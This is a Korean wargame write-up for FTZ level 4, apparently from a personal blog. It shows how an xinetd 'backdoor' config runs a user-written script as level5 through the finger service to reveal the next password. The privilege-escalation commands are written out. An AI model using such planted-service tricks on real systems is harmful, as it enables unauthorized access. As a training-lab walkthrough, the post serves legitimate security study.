Github avatar

GyeongSu Han's Github Pages

FTZ Level4

Jul 14, 2015 · Wargame

[level4@ftz ~]$ cat hint

누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

/etc/xinetd.d폴더를 확인해 보자.

[level4@ftz ~]$ cd /etc/xinetd.d/
[level4@ftz xinetd.d]$ ls -al
total 88
drwxr-xr-x    2 root     root         4096 Jun 29 14:53 .
drwxr-xr-x   53 root     root         4096 Jul  8 12:21 ..
-r--r--r--    1 root     level4        171 Sep 10  2011 backdoor
-rw-r--r--    1 root     root          560 Dec 19  2007 chargen
-rw-r--r--    1 root     root          580 Apr 17  2003 chargen-udp
-rw-r--r--    1 root     root          417 Dec 19  2007 daytime
-rw-r--r--    1 root     root          437 Dec 19  2007 daytime-udp
-rw-r--r--    1 root     root          339 Dec 19  2007 echo
-rw-r--r--    1 root     root          358 Dec 19  2007 echo-udp
-rw-r--r--    1 root     root          317 Dec 19  2007 finger
-rw-r--r--    1 root     root          273 Dec 19  2007 ntalk
-rw-r--r--    1 root     root          359 Dec 19  2007 rexec
-rw-r--r--    1 root     root          376 Dec 19  2007 rlogin
-rw-r--r--    1 root     root          429 Dec 19  2007 rsh
-rw-r--r--    1 root     root          317 Sep 29  2004 rsync
-rw-r--r--    1 root     root          310 Dec 19  2007 servers
-rw-r--r--    1 root     root          312 Dec 19  2007 services
-rw-r--r--    1 root     root          406 Dec 19  2007 sgi_fam
-rw-r--r--    1 root     root          261 Dec 19  2007 talk
-rw-r--r--    1 root     root          305 Sep 10  2011 telnet
-rw-r--r--    1 root     root          495 Dec 19  2007 time
-rw-r--r--    1 root     root          515 Dec 19  2007 time-udp

이중 backdoor라는 파일이 의심스럽다.

[level4@ftz xinetd.d]$ cat backdoor
service finger
{
    disable        = no
    flags          = REUSE
    socket_type    = stream
    wait           = no
    user           = level5
    server         = /home/level4/tmp/backdoor
    log_on_failure += USERID
}

살펴보면 finger서비스를 작동시킬때, level5의 권한으로 /home/level4/tmp/backdoor파일을 실행시킨다.

xinetd은 외부에서 서비스를 실행시킬 때 데몬이 대기하고 있어야 하는데, 여러 데몬을 기다리도록 만들 경우 낭비가 심하여 그를 해결하기 위한 관리 데몬이라 생각하면 될것 같다.

http://lily.mmu.ac.kr/lecture/08sm/Fedora2/7jang/2.htm 더 자세한 내용은 참고하면 됩니다.

finger서비스를 구동시켜야 하는데, finger @localhost를 실행할 경우 finger가 외부로 요청을 보내게 됩니다.

그 것을 localhost로 받기 때문에, 다시 돌아와 외부에서 실행하는 서비스로 수행하게 됩니다. 이 서비스를 level5의 권한으로 backdoor를 실행하게 됩니다.

[level4@ftz tmp]$ pwd
/home/level4/tmp
[level4@ftz tmp]$ ls
[level4@ftz tmp]$

tmp폴더를 확인해 보면 프로그램이 존재하지 않습니다. 직접 만들어야 합니다.

[level4@ftz tmp]$ cat > backdoor
#!/bin/bash
my-pass
[level4@ftz tmp]$ chmod +x backdoor

이렇게 프로그램을 작성해 줍니다.

[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "             ".

이렇게 서비스를 작동시켜 주게 될 경우 backdoor프로그램이 정상적으로 실행됩니다.